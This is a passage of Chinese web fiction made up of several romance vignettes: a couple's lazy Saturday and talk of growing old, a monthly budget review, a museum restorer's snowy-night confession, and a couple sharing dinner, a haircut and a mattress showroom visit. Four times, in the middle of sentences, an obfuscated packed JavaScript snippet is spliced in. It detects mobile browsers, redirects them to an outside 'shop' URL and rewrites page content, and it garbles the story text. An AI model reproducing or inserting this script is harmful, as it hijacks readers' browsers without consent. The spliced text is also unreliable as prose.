空气里的尘埃在光束里乱舞，像是无数个微小的、金色的幽灵。 我躺在沙发上，头枕着许漫的大腿。 家里很乱。那种乱不是脏，而是一种因为过度放松而产生的“甚至懒得把这只袜子扔进脏衣篓”的颓废感。茶几上堆着还没开封的快递盒，地毯上散落着两本翻了一半的书，不远处的单人椅上堆满了这周换下来还没洗的衣服——它们堆成了一座摇摇欲坠的小山，我们给它起了个名字叫“珠穆朗玛”。 如果是平时，看着这座山我会焦虑。我会想：得洗衣服了，得吸尘了，得把生活拉回正轨了。 但今天是周六。 周六的特权就是，我可以看着那座脏衣服山，心安理得地想：去他妈的，让它倒了吧，倒了我也要把这个懒觉睡到地老天荒。 许漫手里拿着一支金属耳勺，正在给我掏耳朵。 她的动作很轻，金属触碰到耳道内壁的那一刻，有一种冰凉的酥麻感。那种感觉顺着神经末梢直通大脑皮层，让我全身的毛孔都舒服得张开了。 “别动。”她轻轻拍了一下我的肩膀，语气慵懒，“再动戳聋你。” “痒。”我闭着眼睛，喉咙里发出呼噜呼噜的声音，“往左边一点……对，就是那儿。” “你怎么耳屎这么多。”许漫嫌弃地嘟囔着，“是不是这周听甲方的废话听多了，耳朵为了自我保护长出来的茧？” “可能是吧。”我含糊地应着，享受着这种把脑袋完全交给另一个人的信任感，“你多挖点，把那些‘颗粒度’、‘闭环’、‘赋能’全给我挖出来扔了。” “行，我给你做个开颅手术，给你换个脑子。” 她吹了吹耳勺，换了一只耳朵。 阳光晒得我昏昏欲睡。许漫的大腿温热而柔软，那种肉感比任何昂贵的乳胶枕都要舒服。我睁开眼，视线正好对着她的下巴。 从这个死亡角度看过去，能看见她下颌线边缘有一颗很小的痣，还有随着呼吸微微起伏的喉咙。 她没化妆，脸上有些出油，鼻翼两侧泛着一点点油光。要是放在刚谈恋爱那会儿，她肯定会觉得不完美，会遮掩。但现在，这就只是一张脸，一张属于我的人类的脸。 “漫漫。” “嗯？”她正全神贯注地盯着我的耳洞，像个专注的考古学家。 “你说，咱俩老了以后怎么办？” 这大概是所有情侣在某个百无聊赖的午后都会聊起的话题。既无聊，又宏大。 “什么怎么办？” “就是老得走不动了。没儿没女的。”我看着空气里那些飞舞的尘埃，“谁给咱俩推轮椅？” 许漫手上的动作没停：“花钱请护工呗。所以让你少买点那些没用的手办，多存点养老金。现在的护工很贵的，你要是脾气不好，人家还能趁你不注意掐你。” “我脾气挺好的。”我不服气，“倒是你，更年期肯定难伺候。” “我要是老了……”许漫停下了动作，似乎认真思考了一下，“我就去住那种高端养老院。没事打打麻将，跳跳广场舞。你要是瘫痪了，我就把你推到广场边上晒太阳，让你看着我跟别的老头老太太跳舞。” “最毒妇人心。”我笑着去掐她的腰。 她怕痒，笑着躲闪，手里的耳勺差点戳到我。 “别闹！”她按住我乱动的手，“说正经的。” 她把耳勺放下，用纸巾擦了擦手，然后把手掌覆在我的眼睛上，替我挡住了有些刺眼的阳光。 “林知，如果真有那天。”她的声音突然低了下来，“我希望我比你先死。” 我的心脏猛地跳漏了一拍。 那种玩笑般的轻松气氛突然凝固了一秒。 “为什么？”我拿开她的手，定定地看着她。 许漫垂下眼帘，手指无意识地卷着我的一缕头发：“因为我胆子小啊。我不敢想象没有你的日子怎么过。如果是你先走了，留我一个人在这个屋子里……看着你的拖鞋，看着你的牙刷，我会疯的。” 她顿了顿，又笑了，笑容里带着点狡黠：“所以这种痛苦还是留给你吧。你皮糙肉厚的，抗造。” “凭什么啊。”我感觉鼻腔里涌上一股酸意，故意大声反驳，“我也很脆弱的好不好？我也受不了。” “那没办法。”她重新躺回靠背上，漫不经心地看着天花板，“那我们就争取死一块儿。或者……谁也不准先死，都要活成老妖精，互相折磨到一百岁。” “行。”我重新把头埋进她的怀里，声音闷闷的，“那就一百岁。少一年都不行。” 我们沉默了一会儿。 这种关于死亡的讨论，并没有让气氛变得悲伤。相反，它让这个慵懒的午后多了一种名为“宿命”的重量。 我们都很清楚，衰老和死亡是悬在每个人头顶的达摩克利斯之剑。但在它掉下来之前，我们还有漫长的几十年可以互相折磨，互相依偎。 “哎，林知。”许漫突然像发现了新大陆一样叫了起来，“你有一根白头发！” “哪儿？”我下意识地想去摸。 “别动，在鬓角这儿。”她凑近了，呼吸喷在我的脸上，“我给你拔了啊？” “别！”我赶紧护住头，“拔一根长十根， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088268|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我还不想秃。” “就一根，特别显眼，亮闪闪的。”许漫按住我的手，“强迫症受不了，忍一下。” “嘶——” 头皮一阵轻微的刺痛。 许漫捏着那一根细细的银丝，举到阳光底下端详：“看，真的是白的。彻底白了。” 我眯着眼看着那一根头发。 它在阳光下闪着一种冷冽的光泽，像是一根细小的针，刺破了我们“还年轻”的幻觉。 我是什么时候开始有白头发的？是上个月连续通宵赶项目的时候？还是为了那个傻逼房贷焦虑得睡不着的时候？ 我的身体正在被这个世界磨损。 我的胶原蛋白在流失，我的发际线在后移，我的眼睛里开始有了红血丝。我正在一点点老去，变成一台生锈的机器。 我看向许漫。 在逆光里，我也看到了。在她那乌黑的头发里，也藏着几根不易察觉的银丝。那是岁月在她身上留下的抓痕。 那一刻，我心里突然涌起一种巨大的、近乎于疼痛的温柔。 这很残忍，不是吗？我们都在不可避免地走向腐朽。 但这又很浪漫，不是吗？我们在共同见证彼此的腐朽。 “留着吧。”我说。 “啊？拔都拔了。”许漫把那根头发扔进垃圾桶。 “我是说，以后的。”我伸手摸了摸她的脸颊，指腹划过她眼角那道细细的纹路，“白头发也好，皱纹也好，都留着吧。那是我们一起熬过来的战利品。” 许漫愣了一下，随后低下头，轻轻地吻了吻我的额头。 “傻子。” 太阳渐渐西斜了。 那束金黄色的光从沙发上移到了地板上，又慢慢爬上了墙角。屋子里的光线变得暗淡，那种属于黄昏的灰蓝色调开始蔓延。 我们谁也没动，就在这渐晚的天色里，保持着这个姿势。 我感觉我的电量充满了。 这一整个下午，我们什么都没干。没有产出，没有复盘，没有做任何有意义的事。我们只是像两只互相抓虱子的猴子一样，在这个钢筋水泥的森林里，挥霍着我们仅有的那一点点自由。 但这居然让我觉得，这是我这周过得最有意义的一天。 “饿了。”许漫突然打破了沉默。 肚子适时地叫了一声，非常响亮，非常不合时宜，又非常真实。 “晚上吃什么？”我问出了这个永恒的哲学问题。 “不想做饭了。”许漫懒洋洋地说，“点外卖吧。我想吃那家很脏很难吃的炸鸡。” “好，点。”我拿出手机，“再加两瓶可乐。冰的。” “要大瓶的。” “没问题。” 45. 《晚沸》（5）（HE） 如果说周末是用来造梦的，那么周日晚上的十点，就是梦醒时分的清算现场。 我们坐在客厅的地毯上，中间摆着那台发烫的笔记本电脑，屏幕上那张Excel表格发出的惨白光线，照亮了我们两张严峻的脸。 这是我们每个月一次的家庭财务复盘会。仪式感堪比上市公司的年报发布，虽然我们讨论的金额可能还不够人家一顿饭钱。 “电费为什么这个月是四百二？”许漫戴着眼镜，手指在触摸板上滑动，眉头紧锁，像个铁面无私的审计师，“林知，你是不是趁我不在家，把空调开到十八度了？” “冤枉。”我盘腿坐在一边，手里剥着个橘子，试图用讨好的语气蒙混过关，“可能是上周下雨，烘干机用多了。你也知道，那个烘干机是电老虎。” “下个月少用。衣服晾阳台上又不是干不了。”许漫在键盘上敲敲打打，把那个红色的数字标粗，“还有这项，‘其他娱乐支出’，六百八。这是什么？” 我剥橘子的手顿了一下。 那是上周我也没忍住，偷偷买的一张Switch的新游戏卡带，还有两张想要很久的黑胶唱片。 “那个……”我把一瓣橘子递到她嘴边，“精神食粮。为了防止我抑郁，这属于医疗保健支出。” 许漫没张嘴，也没接橘子，只是斜眼看着我。那眼神里的意思很明白：你再编？ 我讪讪地收回手，把橘子塞进自己嘴里：“好吧，是游戏卡带。但我保证，这是今年最后一次了。” 许漫叹了口气。 她没再说什么，只是默默地把那笔支出归类，然后合上了电脑。 空气有些沉闷。 在这个一线城市，活着本身就是一种昂贵的消费。房贷像一只巨兽，每个月雷打不动地张开血盆大口，吞掉我们收入的一大半。剩下的钱，要用来买菜、交水电、通勤、人情往来，还要从牙缝里省出一点点，扔进那个名为“抗风险基金”的储蓄罐里。 每一分钱，都是我们用命换来的。 我看着许漫疲惫的侧脸，心里突然涌上一股巨大的愧疚。 她以前也是个喜欢买香水、喜欢每季都要添置新裙子的姑娘。可是自从跟我买了这套房子，背上了这三十年的债，她的购物车里全是卷纸、洗衣液和打折的速冻食品。她那一瓶神仙水用了快一年还没舍得换新的。 “漫漫。”我挪过去，把头靠在她的肩膀上，“我是不是特没用？连个游戏自由都给不了你。” “少来这套。”许漫伸手推了推我的脑袋，语气却软了下来，“谁稀罕你的游戏自由。” 她拿起手机，在那点了几下。 “叮”的一声。 我的手机震了一下。 我拿起来一看，是支付宝的转账提醒。 “许漫向你转账 1000.00元” “备注：给小朋友买零食。别乱花，省着点吃。” 我愣住了，抬头看她。 “看什么看？”许漫摘下眼镜，揉了揉鼻梁，“我看你那双鞋底都磨偏了，走路不难受啊？去买双好点的鞋。剩下的钱，允许你再买张唱片，但只能一张。” “你哪来的钱？你不是说这月奖金还没发吗？” “私房钱。”她站起来，伸了个懒腰，骨骼发出咔吧咔吧的轻响，“行了，洗洗睡吧。明天又是周一，还得去给资本家卖命呢。” 我看着手机屏幕上那个醒目的数字，眼眶发酸。 在这个谈钱伤感情、谈感情伤钱的时代，这那一千块钱，比一千句“我爱你”都要重。 因为它代表着，在这个资源匮乏的生存游戏里，她愿意把她那份口粮分给我。她愿意为了我的快乐，压缩她的欲望。 这就是成年人的爱。它不飘在天上，它落在地上，变成了转账记录，变成了鞋子，变成了那一笔笔斤斤计较却又充满温情的流水账。 第二天早上七点。 闹钟准时响起。那声音尖锐、急促，像是一把电钻直接钻进了脑浆里。 这是我一天中最想死的时候。 身体还沉浸在睡眠的惯性里，每一块肌肉都在尖叫着拒绝。窗外是灰蒙蒙的天，冬天的早晨亮得晚，那种惨白的光线让人从心里感到绝望。 我闭着眼，在被窝里挣扎了五秒钟，然后深吸一口气，猛地掀开被子。 冷空气瞬间包裹了全身，让我打了个寒颤。 这一激灵，把“林知”这个人类的灵魂震碎了，取而代之的是“林经理”这个社畜的程序。 我机械地下床，机械地刷牙洗脸，机械地从衣柜里拿出那套黑色的西装。镜子里的我，脸色苍白，眼神空洞，正在熟练地往脸上涂抹粉底，试图用化妆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088269|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 品画出一张“我很有精神、我很热爱工作”的假面具。 一切收拾妥当，七点半。 我走到卧室门口。 卧室的窗帘拉得很严实，光线昏暗。床上隆起小小的一团。 许漫还在睡。她是老师，学校离家近，可以比我多睡半个小时。 她睡得很熟，半张脸埋在枕头里，呼吸绵长而平稳。被子的一角滑落了下来，露出了肩膀。 我轻手轻脚地走过去，帮她把被子掖好。 我的动作很轻，生怕惊扰了这场好梦。因为我知道，再过三十分钟，她的闹钟也会响。她也会经历那种痛苦的挣扎，也会戴上名为“许老师”的面具，去面对几十个吵闹的学生和无尽的教案。 但这三十分钟，是上帝赐给她的仁慈，我不忍心剥夺。 我站在床边，贪婪地看了她一会儿。 在这灰暗的晨光里，她的睡颜显得那么安详，那么毫无防备。她是软的，暖的，是这个冰冷世界里唯一的温存。 我突然明白了，我为什么要忍受这一切。 我为什么要忍受每天一个半小时的通勤？为什么要忍受甲方的指责和老板的画饼？为什么要忍受颈椎的疼痛和胃里的痉挛？为什么要在那个全是怪兽的斗兽场里拼得头破血流？ 就是为了这个。 为了这间七十平米的房子能一直亮着灯。 为了这张床上的这个人能睡得安稳。 为了我们能在每个月复盘的时候，虽然抱怨，但依然有底气说一句“下个月继续”。 她是我的软肋，是我只要一想到如果失去她就会痛不欲生的存在。 但她也是我的铠甲，是我在外面被万箭穿心时，只要想到晚上能回家抱抱她，就能咬牙把箭拔出来再战三百回合的理由。 “走了。” 我用口型无声地对她说了一句。 我俯下身，在虚空中吻了吻她的轮廓，没有真的碰触，怕凉气冰到了她。 转身，出门。 防盗门“咔哒”一声关上了。 这声脆响，将那个温暖的、柔软的、充满奶香味的世界关在了身后。 我转过身，面对着幽暗的楼道，面对着即将到来的早高峰地铁，面对着那未知的、坚硬的一天。 我裹紧了大衣，推了推眼镜，大步走进了寒风里。 46. 金缮 陆清舟有一双能欺骗时间的双手。 身为博物馆特聘的文物修复师，他大部分时间都把自己关在那个充满松节油和陈年纸张气味的恒温工作室里。我是他的助理，或者更准确地说，是那个总是笨手笨脚、试图在他构建的静谧宇宙里不弄出声响的闯入者。 凌晨两点，修复台上的聚光灯把周围的黑暗切割得泾渭分明。 我正对着一只碎裂的宋代影青瓷盏发愁。那是一次意外的次生损坏，裂纹像一道丑陋的伤疤，横亘在温润如玉的釉面上。我手里的生漆笔悬在半空，迟迟不敢落下。 “心乱了，手就会抖。” 身后传来陆清舟的声音。很轻，像雪落在松枝上。 我吓了一跳，笔尖差点戳到瓷片。他不知道什么时候站在了我身后，没有靠近，只是隔着一段恰到好处的社交距离，但我能感觉到他目光的重量。 “陆老师，”我有些懊恼地放下笔，“我找不到那条线的‘气’。怎么补都觉得是断的。” 陆清舟走上前。他穿着深灰色的高领毛衣，袖口挽起，露出清瘦却有力的小臂。他没有接手我的工作，而是俯下身，视线与我平齐，透过那个放大镜观察裂痕。 这个距离太近了。 近到我能看清他眼睫下一小片淡淡的阴影，闻到他身上那种混合了沉香和老旧墨汁的干燥气息。这是一种非常禁欲的味道，却让我的心跳莫名漏了一拍。 “不是补，”他纠正道，声音低沉平缓，“是顺应。” 他伸出手，并没有触碰我，而是虚虚地覆盖在我的手背上方，像是在引导一种无形的力道。 “不要试图掩盖破碎，阿宁。”他说，“你要用金粉去强调它。这道裂痕不是它的伤口，是它的历史。你要做的，是让这段历史发光。” 他的语气里没有一丝暧昧，却有着令人战栗的温柔。 我重新握起笔，在他的注视下，蘸取金粉。这一次，他的影子笼罩着我，仿佛把我与这个纷乱的世界隔绝开来。 那一刻，我突然产生了一种错觉：我们修复的不仅仅是一只千年前的茶盏。在这个静得只听得见呼吸声的深夜里，他似乎正在用同样的耐心和温柔，一点一点地修补我那个因为过度紧绷而充满裂痕的灵魂。 “对了，”当最后一笔金线落下，他突然开口，“明天不用来这么早。” “啊？”我抬头看他。 陆清舟直起身，在此刻显得格外挺拔。他推了推金丝边眼镜，嘴角极其难得地泛起一点笑意，很淡，却像春水初生。 “你的黑眼圈，”他指了指眼睛，“会干扰我对文物色泽的判断。” 这大概是这个沉闷的男人，能说出的最动听的关心。 立冬那天，S市下了第一场雪。 闭馆的时候，天已经全黑了。路灯昏黄的光晕里，雪花像扯碎的棉絮一样往下坠。我站在博物馆高大的廊柱下，手里抱着一叠资料，正犹豫着要不要冒雪冲向地铁站。 一把黑色的长柄伞撑开在我头顶，遮住了漫天风雪。 侧头，是陆清舟。他围了一条深蓝色的羊绒围巾，半张脸埋在领子里，显得比平时多了几分烟火气。 “走吧。”他说。 “陆老师，不用麻烦，我……” “顺路。” 我也没再矫情。在这个拥有两千多万人口的巨大城市里，能有一个顺路的人，本身就是一种奢侈的确幸。 我们并肩走在积了薄雪的人行道上。周围很安静，只能听到脚踩在雪地上发出的“咯吱”声。伞很大，却明显地向我这边倾斜，他的左肩很快就落了一层白。 “那只影青盏，明天就要展出了。”他突然打破了沉默。 “嗯，希望能有人看懂它。”我呼出一口白气。 “你修复得很好。”陆清舟说。 我有些受宠若惊。在他手下工作半年，这是我第一次听到如此直白的肯定。 “其实是您教得好。”我谦虚道，“我只是按照您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088270|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的，去顺应它的裂痕。” 陆清舟停下了脚步。 我也跟着停下来，不解地看着他。雪花在他身后纷飞，他的眼神在夜色中显得格外深邃，像是一口深不见底的古井，却倒映着我的影子。 “阿宁，”他叫我的名字，去掉平时工作时的疏离，带着一种郑重的私密感，“你知道金缮的寓意吗？” 我想了想教科书上的定义：“面对不完美，并将其转化为美？” “还有一层。” 他看着我，目光专注得让我想要逃避，却又舍不得移开。 “是坦诚。”他缓缓说道，“只有当你坦诚地面对破碎，金粉才能附着。人也一样。” 风稍微大了一些，他不动声色地往我这边侧了侧身，替我挡住了风口。 “你最近总是小心翼翼的，怕做错事，怕我不满意。”他的声音很轻，却每一个字都敲在我的心上，“但在我这里，你不需要完美。你可以犯错，可以有裂痕。我会像对待那些孤本一样，等你，修补你，或者……” 他顿了顿，目光从我的眉眼滑落，最后定格在我的眼睛里。 “……或者仅仅是陪着你，看着那些裂痕变成你的一部分。” 我感觉眼眶一热。在这个寒冷的冬夜，在这个总是以成败论英雄的世界里，有一个人告诉我，由于我的破碎，我才显得珍贵。 “陆老师，你这是在……表白吗？”我鼓起勇气，半开玩笑地问，声音却在发颤。 陆清舟愣了一下，随即笑了。那是这半年来，我见过的最生动、最毫无保留的笑容。 “以你的悟性，”他重新迈开步子，并没有收回看向我的目光，伞柄依旧稳稳地撑在我的头顶，“这应该不需要鉴定。” 雪还在下，但我不觉得冷了。 我想，所谓爱情，大概不是什么轰轰烈烈的海誓山盟，而是有一个人，愿意在风雪夜里，为你撑伞，并告诉你： 哪怕你支离破碎，也是我眼中的孤品。 47. 《如果不曾遇见你》（1） 南方湿冷的冬夜，雨下得并不大，却像是有人在空气里泼了一层胶水，把寒意粘在了每一寸裸露的皮肤上。 我收了伞，跺了跺脚上的泥水，在感应门打开的瞬间，像是从深海潜回了陆地。电梯上行，数字从“1”跳动到“6”，随着“叮”的一声轻响，那种熟悉的、属于“家”的气味顺着门缝钻进了鼻腔。 那是炖萝卜特有的甜香，混杂着洗衣液的柠檬味，还有一点点陈年木头柜子的味道。这味道并不高级，甚至带着点老旧小区的烟火气，但对我来说，这是世界上最安全的空气。 掏钥匙，开门。 锁舌弹开的声音清脆悦耳。 “回来了？” 声音是从厨房飘出来的，伴随着锅铲碰撞铁锅的脆响。 “嗯。”我换了鞋，把那件带着寒气的大衣挂在门口的衣架上，感觉整个人像是被从冰柜里拿出来，扔进了温水里。骨头缝里的僵硬感一点点化开，变成了一种懒洋洋的松弛。 他从厨房探出半个身子，腰上系着那条印着卡通猫的围裙——那是上次去超市买酸奶送的，系在他一米八几的个子上显得有些滑稽，但他穿得很坦然。手里拿着半根黄瓜，嘴里还嚼着另外半根。 “正好，洗手吃饭。”他含糊不清地说，嘴角沾着一点酱汁，“今天的萝卜绝了，一筷子下去能夹断。” 屋里的暖气开得很足。电视机开着，放着一档吵吵闹闹的综艺节目，并没有人在看，只是为了让屋子里有点动静。沙发上堆着我想收却还没来得及叠的衣服，茶几上放着两个没洗的马克杯和半袋吃剩的薯片。 乱，但是乱得很有章法，乱得让人安心。 我不急着去洗手，而是走到厨房门口，从背后抱住了他。 他身上很热，那是炉火烘烤出来的温度，混杂着油烟味和须后水的清香。我把脸埋在他的背上，冰凉的鼻尖贴着他温热的脊柱。 “哎哟，凉！”他夸张地叫了一声，缩了缩脖子，却没躲开，反而向后靠了靠，把重量压在我身上，“你是冰块做的啊？” “外面冷死了。”我闷声说，手不老实地从他围裙边上伸进去，贴在他暖烘烘的肚子上取暖，“借点火。” “行行行，借你借你。”他笑着，伸手关了火，转过身来，用那只没拿铲子的手捏了捏我的耳垂，“怎么这么凉？今天没戴围巾？” “忘公司了。” “你脑子也忘公司了吧。”他虽然嘴上损我，手却在我脸上搓了两下，试图把那点寒气搓掉，“赶紧去拿碗，饿死我了。” 晚饭是萝卜炖牛腩，还有一盘清炒油麦菜。 那张折叠餐桌是我们刚搬进来时在二手市场淘的，边角有些磨损，但被他擦得锃亮。头顶的吊灯发出暖黄色的光，照在红亮的汤汁上，升腾起白色的热气。 这种热气，是有实感的。它不是那种虚无缥缈的浪漫，而是能填饱肚子的踏实。 我夹了一块萝卜，入口即化，吸满了肉汁。 “怎么样？”他盯着我，眼神里带着点求表扬的期待，“我可是炖了两个小时，高压锅都没用，纯靠砂锅慢炖。” “神了。”我竖起大拇指，“可以去楼下摆摊了，李记牛腩，月入过万。” “去你的，月入过万哪够养你。”他给自己盛了一碗汤，“你那购物车里一堆摄影器材，我要是去摆摊，得卖到下辈子。” 我们一边吃一边聊。聊的大多是些没营养的废话。 他说隔壁老王家的狗今天又在楼道里撒尿了，被保洁阿姨追着骂；我说公司新来的实习生连复印机都不会用，把纸卡得满地都是。 我们大笑。笑声在狭小的客厅里回荡，撞在墙壁上，又弹回来，把这个四十平米的空间填得满满当当。 在这顿饭的时间里，外面的世界是不存在的。没有KPI，没有房价，没有复杂的社会关系。只有这碗热汤，只有眼前这个会因为萝卜炖得软烂而眉飞色舞的男人。 吃完饭，猜拳洗碗。 他输了。 看着他骂骂咧咧地戴上橡胶手套去刷碗，我惬意地瘫在沙发上，打开手机刷了会儿短视频。厨房里传来水流声和碗筷碰撞的脆响，那是生活最原本的底噪。 “托尼老师，该上班了。” 洗完碗，他擦着手走出来，踢了踢我的小腿肚，“头发长得扎脖子了。” 这是我们要完成的固定节目。 为了省钱，也或许是为了某种只有我们才懂的情趣，这两年他的头发都是我剪的。 我从柜子里翻出那个装着理发工具的铁皮盒子。那把推剪虽然旧了点，但刀头刚上了油，锋利得很。 卫生间很小，但很亮堂。镜子前两天刚被我擦过，透亮得连毛孔都照得清楚。 他在小板凳上坐下，我在他脖子上围了一圈旧报纸。 “这次想要什么价位的？”我拿着梳子，煞有介事地在他头上比划，“38的还是188的？” “给大爷来个888的。”他闭上眼，嘴角带着笑，“要有层次感，还得显脸小。” “您这脸够小了，再小就没了。” 推剪嗡嗡地响起来。 我的手很稳。指尖穿过他硬茬茬的发丝，触碰到温热的头皮。他的头发很黑，很硬，生命力极其旺盛。剪下来的碎发落在报纸上，沙沙作响。 这个过程不需要太多的语言。 我们之间有一种长久以来形成的默契。有时候我拍拍他的头，他就知道要低头；我按一下他的耳后，他就知道要侧过脸去。 这种默契，不是一朝一夕能练出来的。它藏在每一次眼神交汇里，藏在每一个下意识的动作里。它让我觉得，我们不仅仅是恋人，更是战友，是共生体。 “这儿，稍微短点。”他指了指鬓角。 “知道，你有强迫症。”我小心地修剪着那里的线条，推剪贴着皮肤滑过，留下一道青色的痕迹，“好了，看看。” 他睁开眼，对着镜子左右照了照，摸了摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088271|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚剪好的寸头，露出一脸满意的表情。 “手艺见长啊。”他站起来，抖掉身上的碎发，“看来以后失业了真能去开理发店。” “那是，也不看是谁调教出来的。” 收拾完地上的狼藉，我们挤在狭小的洗手台前刷牙。 镜子里并排映出两张脸。嘴里塞着牙刷，满嘴泡沫，看起来有些滑稽，却又异常和谐。 我不小心撞了他的手肘一下，牙膏沫飞到了镜子上。 “哎呀！”他瞪了我一眼，却没生气，只是用沾着水的湿手在我脸上抹了一把，“赔钱。” “没钱，肉偿行不行？”我含糊不清地说。 “想得美，排队去。” 打打闹闹地洗漱完，钻进被窝的时候，那种巨大的、充盈的幸福感简直要从胸口溢出来。 床单是前两天刚晒过的，带着好闻的阳光味道。被子厚实柔软，像一朵巨大的云彩。 我们关了灯。窗外的路灯光透过窗帘的缝隙漏进来一两条，在地板上投下斑驳的影子。 他习惯性地伸出手臂，把我捞进怀里。 他的怀抱很宽，很暖。我把头枕在他的颈窝，听着他沉稳有力的心跳声。 扑通，扑通。 那是世界上最催眠的节奏。 “明天周六。”他在黑暗中开口，声音低沉慵懒，“想去干嘛？” “哪也不想去。”我打了个哈欠，手指在他睡衣的扣子上无意识地绕着圈，“想睡到自然醒，然后吃你做的煎饼。” “就知道吃。”他轻笑了一声，胸腔微微震动，“行，那明早再去买点葱花。” “还要加火腿肠。” “加加加，给你加两根。” 他侧过身，嘴唇在我额头上碰了一下。那是一个很轻、很自然的晚安吻，没有太多的情欲，只有满满的宠溺和安抚。 “睡吧。”他说，“做个好梦。” “嗯。” 我闭上眼睛，意识开始涣散。 在这个瞬间，我无比确信一件事：生活是坚固的。 这种坚固不是来自什么海誓山盟，而是来自今晚这顿炖得软烂的萝卜牛腩，来自那把刚刚上了油的推剪，来自这个有着阳光味道的被窝，来自此时此刻，他环在我腰上那只有力的手臂。 我想，我们把日子过成了混凝土。我们在无数个这样的夜晚里，用一粥一饭、一言一语，浇筑了一座堡垒。 在这座堡垒里，我们是安全的，是富足的，是无坚不摧的。 至于外面那些风雨？ 管他呢。窗户关得严严实实，连一丝风声都透不进来。 我往他怀里又钻了钻，找了个最舒服的姿势。他的呼吸均匀地洒在我的头顶，像是一首无声的摇篮曲。 在那片温暖的黑暗里，我甚至没有做梦。因为现实本身，已经比所有的梦都要美好和踏实。 这就是生活原本该有的样子。 平凡，热烈，且长久。 48. 《如果不曾遇见你》（2） 那是个并不算特殊的周末，如果非要给它找点特殊的理由，大概是因为我们在商场的家居层迷路了。 本来只是想去负一楼超市买两提打折的卷纸，顺便蹭一下商场的冷气——虽然是冬天，但商场里的暖气开得像热带雨林，那种甚至带着点香薰味的干燥热浪，总让人产生一种生活在富裕泡沫里的错觉。 鬼使神差地，我们走进了那家进口床垫的展厅。 这里安静得不像话。没有超市那种“大喇叭喊着鸡蛋三块五”的嘈杂，只有不知从哪飘来的、低沉优雅的大提琴曲。灯光是精心设计过的，不是直射，而是经过漫反射后温柔地洒在那些看起来就价值连城的大床上。每一张床都铺着没有任何褶皱的床品，看起来像一个个等着被加冕的王座。 我们两个穿着优衣库打折款羽绒服的人，站在这里显得有些格格不入。 导购小姐穿着笔挺的制服，妆容精致，眼神在我们身上扫了一圈，虽然没有明显的不耐烦，但也只是礼貌性地点了点头，就继续低下头整理手中的宣传册。她大概一眼就看穿了我们的购买力——或者说，看穿了我们只是两个误入歧途的“观光客”。 “走吧。”我扯了扯他的袖子，声音压得很低，“这儿的空气闻起来都像是按毫升收费的。” 他却没动，目光停留在展厅中央那张最大的床上。床头立着个牌子，上面写着一串关于“泰国原生乳胶”、“七区承托”、“零压感”的术语，当然，还有那个让我看一眼都觉得心惊肉跳的价格——6800元。 这相当于我们两个加上年终奖也不一定能凑齐的这几个月的结余。在这个连买葱都要让摊主多送两根的年纪，花六千八买一张用来睡觉的垫子，简直就是一种犯罪。 “试试？”他转过头，眼睛里闪着一种孩子气的光。 “试什么试，弄脏了赔不起。”我想拽他走。 “试又不花钱。”他反手扣住我的手腕，不由分说地把我拉了过去，“来都来了。” 他一屁股坐了下去，然后顺势往后一倒，整个人陷进了那张白色的巨型软糖里。 “我靠……”他发出了一声长长的、带着颤音的叹息，“你也来，真的，你也来试试。这哪是床啊，这是云彩。” 我看了一眼导购小姐，她依旧在看那本宣传册，仿佛默许了我们这种穷酸的蹭睡行为。我犹豫了一下，还是没抵挡住那种诱惑，小心翼翼地在床边坐下，然后慢慢躺平。 那一瞬间，我也失语了。 怎么形容那种感觉呢？就像是一直把你往下拉的地心引力突然失效了。你的腰椎、颈椎、那些因为常年坐在电脑前而僵硬得像生锈齿轮一样的关节，在一瞬间被温柔地托举了起来。没有硬板床的硌人，也没有劣质海绵的塌陷，它像是有生命一样，填满了你身体的每一个曲线。 我感觉自己像是一块正在融化的黄油，正在被这片温热的面包缓慢地吸收。 “舒服吧？”他侧过头看我，脸颊陷在枕头里，声音变得很软。 “嗯。”我不得不承认。 “你那个腰，医生不是说腰肌劳损吗？睡硬板床其实不好，悬空着受力。”他伸手摸了摸我的后腰，隔着羽绒服按了一下，“刚才躺下的时候，这儿是不是不疼了？” 